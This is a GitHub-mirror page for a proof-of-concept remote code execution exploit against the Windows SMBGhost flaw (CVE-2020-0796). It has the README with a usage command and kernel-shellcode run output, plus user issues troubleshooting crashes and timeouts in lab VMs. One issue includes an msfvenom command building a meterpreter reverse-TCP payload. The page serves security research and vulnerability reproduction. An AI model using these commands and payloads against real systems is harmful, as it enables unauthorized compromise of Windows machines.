chompie1337 / smbghost_rce_poc Goto Github PK

Python 78.15% Assembly 21.85%

smbghost_rce_poc's Introduction

SMBGhost_RCE_PoC

RCE PoC for CVE-2020-0796 "SMBGhost"

For demonstration purposes only! Only use this a reference. Seriously. This has not been tested outside of my lab environment. It was written quickly and needs some work to be more reliable. Sometimes you BSOD. Using this for any purpose other than self education is an extremely bad idea. Your computer will burst in flames. Puppies will die.

Now that that's out of the way....

Usage ex:

$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...

Replace payload in USER_PAYLOAD in exploit.py. Max of 600 bytes. If you want more, modify the kernel shell code yourself.

lznt1 code from here. Modified to add a "bad compression" function to corrupt SRVNET buffer header without causing a crash.

See this excellent write up by Ricera Security for more details on the methods I used: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html

smbghost_rce_poc's People

Contributors

Stargazers

Watchers

Forkers

c0de3 harry1080 j4ckzh0u sorrashut-k h8to doanhnhq cbwang505 avi8892 kurnikasd xinbs flatl1neapt dcmjid fengjixuchui servomekanism blacktrace eipp4ssenger uuuunotfound ki9mu aitorcastel wal613 tounsi007 askyeye m-star-coder idealdreamlast jaky5155 jgj212 0xr0 makaisghr atorninja lovelywei jilvan1234 hittimes securifera salma-moora muyeyingyang crackercat ethancck 0xsb kevingcc a11en4 bakmah yijli qimiaoliaoss sowish skylning giantbranchcollect av1080p shantanu561993 jerry-bond deidarayu hibari1996 rosetscmite fdlucifer mirchr 5h4d3s porlockzzz m4d3bug m4d3bug-team holdontoyourheart ocakgun bravery9 ekko-zhao gr3yr0n1n kaisaryousuf ch3rn0byl xb4dc0d3 dviros rvrsh3ll skybulk 362902755 sec-js yuusuke4 tdr130 n1f2c3 h1d3r yhzx2013 thomasking2014 thelostworldfree fengzihk asdlei99 princefpf linyunbin wuzhanqiu wonder39 4hck zenhumany minjimwu ww6453 chaceshadow inarikami beyondcy xizhimen ostrichsec yanshu911 vbty gdraperi color-way y11en nevinhappy ckalpakoglu

smbghost_rce_poc's Issues

Trying to detect (check) not to exploit the vulnerability

Hello!, anybody is trying to use this PoC to detect and not to exploit vulnerable systems?
On not vulnerable systems I saw that "physical read primitive" fails, but in vulnerable systems the function "write_srvnet_buffer_hdr(ip, port, data, offset) - smb_compress(sock, compressed_data, 0xFFFFEFFF, dummy_data)" causes a BSOD.
Do you have any ideas to modify the code in order to do a check of the vulnerability without causing a BSOD?

Best regards,
Geffrey

BSOD

Running the PoC gainst Win 10 VM (1903) hosted in vSphere. I have only been able to trigger a BSOD but am hoping to figure out what is causing that so that I can push for the full RCE. Any success on VMs in vSphere or known issues?

how to setup? guide me.

guide me with steps.

Strange socket timeout issues

nmap shows 445 is open, however when attempting to run the exploit I get a socket timeout issue.

PORT    STATE SERVICE       REASON  VERSION
445/tcp open  microsoft-ds? syn-ack

Traceback (most recent call last):
  File "exploit.py", line 465, in <module>
    do_rce(args.ip, args.port)
  File "exploit.py", line 426, in do_rce
    find_low_stub(ip, port)
  File "exploit.py", line 405, in find_low_stub
    buff = read_physmem_primitive(ip, port, index)
  File "exploit.py", line 205, in read_physmem_primitive
    buff = try_read_physmem_primitive(ip, port, phys_addr)
  File "exploit.py", line 212, in try_read_physmem_primitive
    write_primitive(ip, port, fake_mdl, pmdl_va)
  File "exploit.py", line 182, in write_primitive
    sock.recv(1000)
socket.timeout: timed out

Am I missing something stupid?
Thanks

Unable to unpack HalpApicRequestInterrupt

Hi, thank you for sharing your work!

So far, I was not able to reproduce the PoC.

Got it running against Windows 10 Enterprise 1909 x64 (Build 18363.418).
Confirmed the system is vulnerable and SMB is reachable and open from attacker system.

Replaced user payload with simple msfvenom shellcode like:
msfvenom -p windows/x64/exec CMD='calc.exe' -f c

Unfortunately the first run got me this output:

python3 exploit.py -ip 192.168.100.51
[+] found low stub at phys addr 13000!
[+] PML4 at 1aa000
[+] base of HAL heap at fffff7adc0000000
[+] found PML4 self-ref entry 1e8
[+] found HalpInterruptController at fffff7adc00015a0
Traceback (most recent call last):
File "exploit.py", line 448, in
do_rce(args.ip, args.port)
File "exploit.py", line 411, in do_rce
search_hal_heap(ip, port)
File "exploit.py", line 339, in search_hal_heap
PHALP_APIC_INTERRUPT = struct.unpack("<Q",buff[i + 0x38:i+0x40])[0]
struct.error: unpack requires a buffer of 8 bytes

The second this one:

python3 exploit.py -ip 192.168.100.51
[-] physical read primitive failed!

And a third one this:

python3 exploit.py -ip 192.168.100.51
[+] found low stub at phys addr 13000!
[+] PML4 at 1aa000
[+] base of HAL heap at fffff7adc0000000
[+] found PML4 self-ref entry 1e8
Traceback (most recent call last):
File "exploit.py", line 448, in
do_rce(args.ip, args.port)
File "exploit.py", line 411, in do_rce
search_hal_heap(ip, port)
File "exploit.py", line 307, in search_hal_heap
phys_addr = get_phys_addr(ip, port, index)
File "exploit.py", line 244, in get_phys_addr
pte_buff = read_physmem_primitive(ip, port, pte)
File "exploit.py", line 188, in read_physmem_primitive
buff = try_read_physmem_primitive(ip, port, phys_addr)
File "exploit.py", line 203, in try_read_physmem_primitive
buff = sock.recv(1000)
socket.timeout: timed out

Seems like the service crashed after the first run?

But why were the HalpApicRequestInterrupt found at the first run but then contained more than 8 bytes?
Or did I got the first error wrong?

Any ideas?

An error occurred during program operation

root@kali:~/SMBGhost_RCE_PoC-master# python exploit.py -ip 172.22.5.129
Traceback (most recent call last):
File "exploit.py", line 465, in
do_rce(args.ip, args.port)
File "exploit.py", line 426, in do_rce
find_low_stub(ip, port)
File "exploit.py", line 405, in find_low_stub
buff = read_physmem_primitive(ip, port, index)
File "exploit.py", line 205, in read_physmem_primitive
buff = try_read_physmem_primitive(ip, port, phys_addr)
File "exploit.py", line 220, in try_read_physmem_primitive
buff = sock.recv(1000)
socket.timeout: timed out

how should i fix it

please answer my question

when i run python3 exploit.py -ip 192.168.2.89 , 结果报错了，

Traceback (most recent call last):
File "exploit.py", line 468, in
do_rce(args.ip, args.port)
File "exploit.py", line 433, in do_rce
build_shellcode()
File "exploit.py", line 308, in build_shellcode
KERNEL_SHELLCODE += USER_PAYLOAD
TypeError: can't concat str to bytes

如何处理呢

windows 10 build 1909 Crash!!

when I test the exploit.py , windows 10 build 1909 Crash!!
why?

Different payload

Well,following chompie 1337's step,it does work.
But I change the payload
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.3 LPORT=4444 -f python
it doesn't work.

Testing on:
kali linux 2020
windows 10 1909
I have already close Windows Defender

Win 1909 Enterprise socket timeout

Followup on #5 (comment)

Crash on 1903 (OS Build 18362.30 Education)

Getting a crash when trying to exploit build 18362.30.
crash happen on the first function ( find_low_stub ) - KMODE Exception Not handled
Testing Setup -
Host: Ubuntu 20.04 Vmware Workstation 15.5
The Host and the VM are in NAT network, Firewall is off.

Edit -
Same on Enterprise or Pro windows versions

Edit 2 -
Same issue on 1909 :( - SYSTEM THREAD EXCEPTION NOT HANDLED / KMODE Exception Not handled

Running the exploit as it, without changing any file

Debug mode on/off difference in entry variable

Hmm, so it seems like it's possible the low stub is not present on the VM. it does a search for it at all physical addresses <1MB. how the VM is configured can affect this but I'm not too sure of the details as there is not much research available about it.

I've tested using VMWare Fusion and VMWare Workstation both BIOS and UEFI using "easy install" setup and it seems to be present in both. Can you describe your testing env?

EDIT: tested the above both in debug mode and non debug mode as well

I use VMWare WorkStation 15 for both target and host machines.
Target machine: Windows 10 b1903 UEFI
Attack Machine: Archlinux
When i am not on debug mode, exploit can find low stub

[ ? ] entry : 0xe5c0064
[ ? ] entry : 0x8a00000000100063
[ ? ] entry : 0x8a00000000000063
[ ? ] entry : 0xfffff7b800000000
[ ? ] entry : 0xfffff7b800000000
[ ? ] entry : 0xfffff7b800010000
[ ? ] entry : 0x0
[ ? ] entry : 0x0
[ ? ] entry : 0xfffff7b800000000
[ ? ] entry : 0xfffff7b800000000
[ ? ] entry : 0xfffff7b800000000
[ ? ] entry : 0x0
[ ? ] entry : 0xffffffffffff00ff
[ ? ] entry : 0x0
[ ? ] entry : 0xfffff7b800000000
[ ? ] entry : 0xfffff7b800010000
[ ? ] entry : 0xfffff7b800000048
[ ? ] entry : 0xfffff7b800010000
[ ? ] entry : 0x1000600e9
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff7b800000000
[+] found PML4 self-ref entry 11f
[+] found HalpInterruptController at fffff7b800001478
[+] found HalpApicRequestInterrupt at fffff80516410bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at ffff8ffbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000950!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...

Above you can see the output of entry value. (On your code it is line 411)

Then i fire up debug mode on target windows 10 1903 vm.

C:\Windows\system32>bcdedit /set debug yes
C:\Windows\system32>bcdedit /dbgsettings net hostip:192.168.100.113 port:50001 key:1.2.3.4

With these settings i can kernel debug.
So when i try to exploit, the entry variable is set to 0x2020000 or 0x202000002020000

[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x2020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[ ? ] entry : 0x202000002020000
[-] Failed to find low stub in physical memory!

About "Failed to find low stub in physical memory!" problem?

前期调试，可以正常找到low stub，因为一些原因，我将处理器的内核数量，由2个改为1个，再次调试时，提示 Failed to find low stub in physical memory!
In the early debugging, low stubs could be found normally. For some reasons, I changed the number of processor cores from 2 to 1. When debugging again, it Failed to find low stubs in physical memory!

经过测试：
After testing:

内核数量为2个时，low stub 一般都是在固定的物理地址：13000
When the number of kernels is 2, low stubs are usually at a fixed physical address: 13000

内核数量改为1个，无法找到low stub，使用CheatEngine搜索物理内存也无法找到low stub
The number of kernels is changed to 1. Low stubs cannot be found, nor can a search for physical memory using CheatEngine

如果你遇到了此问题，也可以将处理器的内核数量改为2个试试。。。
If you encounter this problem, you can also change the number of processor cores to 2 try...

另外，我还有个小问题，low stub是什么？
And I have a little question, what is low stub?

在系统中发挥着什么样的作用呢？
What role does it play in the system?

还请大佬给普及一下知识
Still ask big guy to popularize a knowledge

bluescreen was trigged

hello!
i tested on windows 10 1903 vm, it works as follow result.
[+] found low stub at phys addr 11000!
[+] PML4 at 1aa000
[+] base of HAL heap at fffff788c0000000
[+] found PML4 self-ref entry 1e7
[+] found HalpInterruptController at fffff788c0000680
[+] found HalpApicRequestInterrupt at fffff80035eb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff3fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000950!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...

but bluescreen was trigged.i
i debuged by using windbg.

hal!HalpApicRequestInterrupt+0xa4:
fffff800`35eb3c54 4584e4 test r12b,r12b
3: kd> t
KDTARGET: Refreshing KD connection

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff800`355c4580 cc int 3
0: kd> !analyze -v
The debuggee is ready to run
WARNING: This break is not a step/trace completion.
The last command has been cleared to prevent
accidental continuation of this unrelated event.
Check the event, location and thread before resuming.
Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

0: kd> r
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=0000000000000000 rsi=0000000000000000 rdi=fffff80031a5b180
rip=fffff800355c4580 rsp=fffff800386813b8 rbp=fffff80038681520
r8=0000000000000000 r9=0000000000000000 r10=000001539738d27d
r11=fffff80038681370 r12=0000000000000003 r13=00000000004f4454
r14=0000000000000000 r15=ffffbf0ce8ca8040
iopl=0 nv up di ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000086
nt!DbgBreakPointWithStatus:

ParseError invalid opcode near "OFFSET_NTBASE" at "\"<unk>\"" line 8

I'm facing this error during the exploit process, can anyone advise please?

Failed to find HalpInterruptController

I was trying to exploit windows 10 (1903) without firewall, but got error "Failed to find HalpInterruptController". Host is vulnerable.
How can i solve it?
any recommandations?

Exploit doesnt work

I am using py3.8
host machine linux
target machine win10 b 1903

they are on the same virtual network

I got this error when i am trying to run exploit.py

[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff7a180000000
[+] ntoskrnl entry at fffff8054d392010
[+] found PML4 self-ref entry 1e5
[+] found HalpInterruptController at fffff7a1800015b8
Traceback (most recent call last):
  File "exploit.py", line 475, in <module>
    do_rce(args.ip, args.port)
  File "exploit.py", line 438, in do_rce
    search_hal_heap(ip, port)
  File "exploit.py", line 351, in search_hal_heap
    buff = read_physmem_primitive(ip, port, index + i + 0x38)
  File "exploit.py", line 205, in read_physmem_primitive
    buff = try_read_physmem_primitive(ip, port, phys_addr)
  File "exploit.py", line 220, in try_read_physmem_primitive
    buff = sock.recv(1000)
socket.timeout: timed out

edit:fix right error